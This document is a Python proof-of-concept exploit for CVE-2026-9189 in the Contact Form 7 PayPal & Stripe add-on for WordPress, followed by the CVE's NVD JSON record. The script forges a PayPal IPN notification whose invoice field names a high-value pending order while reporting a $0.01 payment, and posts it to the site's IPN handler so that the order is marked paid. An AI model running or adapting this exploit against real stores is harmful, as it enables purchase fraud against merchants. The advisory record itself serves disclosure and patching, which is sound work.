CVE-2026-9189

import requests import hashlib import time # CVE-2026-9189 PoC - PayPal IPN Payment Bypass # Target: Contact Form 7 PayPal Add-on <= 2.4.9 def generate_ipn_payload(invoice_id, attacker_email, target_amount): """ Generate malicious IPN payload to bypass payment verification """ # Real PayPal sandbox endpoint paypal_url = "https://ipnpb.sandbox.paypal.com/cgi-bin/webscr" # Minimal real payment that attacker actually makes real_payment_amount = "0.01" # Malicious IPN payload - invoice points to high-value target order # But mc_gross is minimal (the amount attacker actually paid) ipn_data = { "cmd": "_notify-validate", "mc_gross": real_payment_amount, # Minimal actual payment "mc_currency": "USD", "invoice": invoice_id, # Target high-value order "receiver_email": "[email protected]", "payment_status": "Completed", "txn_id": f"{hashlib.md5(str(time.time()).encode()).hexdigest()}", "payer_email": attacker_email, "item_name": "High Value Order" } return paypal_url, ipn_data def exploit(target_url, invoice_id, target_amount): """ Execute the payment bypass attack """ # Step 1: Make minimal real payment to PayPal # (Attacker actually pays small amount) # Step 2: Capture valid IPN response paypal_url, ipn_data = generate_ipn_payload( invoice_id=invoice_id, attacker_email="[email protected]", target_amount=target_amount ) # Step 3: Send crafted IPN to vulnerable WordPress site # The site will verify with PayPal, which will return VALID # But the site won't check if mc_gross matches the order amount response = requests.post(f"{target_url}/?cf7pp_ipn=paypal", data=ipn_data) print(f"[*] Sent malicious IPN for invoice: {invoice_id}") print(f"[*] Actual payment: $0.01, Target order value: ${target_amount}") print(f"[*] Response: {response.status_code}") return response.status_code == 200 if __name__ == "__main__": target = "https://victim-site.com" # Target order with high value target_invoice = "order_12345" target_amount = 999.99 exploit(target, target_invoice, target_amount)

{"cve": {"id": "CVE-2026-9189", "sourceIdentifier": "[email protected]", "published": "2026-05-29T09:16:18.560", "lastModified": "2026-05-29T13:09:05.450", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Contact Form 7 – PayPal & Stripe Add-on plugin for WordPress is vulnerable to Payment Bypass via Insufficient Verification of Data Authenticity in all versions up to, and including, 2.4.9. Although `cf7pp_paypal_ipn_handler()` correctly validates IPN authenticity by posting back to PayPal with `cmd=_notify-validate`, it fails to compare the IPN payload's `mc_gross` (payment amount), `mc_currency`, or `receiver_email` fields against the corresponding stored order values before passing the attacker-controlled `invoice` field directly to `cf7pp_complete_payment()`, which marks the order completed after only an integer cast with no amount verification. This makes it possible for unauthenticated attackers to mark arbitrary high-value pending orders as fully paid by making a minimal real PayPal payment and crafting an IPN whose `invoice` parameter references the targeted order, effectively completing purchases without tendering the required payment amount."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-345"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.6/includes/payments/functions.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.6/includes/payments/paypal_handler.php#L106", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.6/includes/payments/paypal_handler.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.8/includes/payments/functions.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.8/includes/payments/paypal_handler.php#L106", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-7-paypal-add-on/tags/2.4.8/includes/payments/paypal_handler.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3551197/contact-form-7-paypal-add-on", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5e274781-1c20-4224-bc10-26dadb9b1e07?source=cve", "source": "[email protected]"}]}}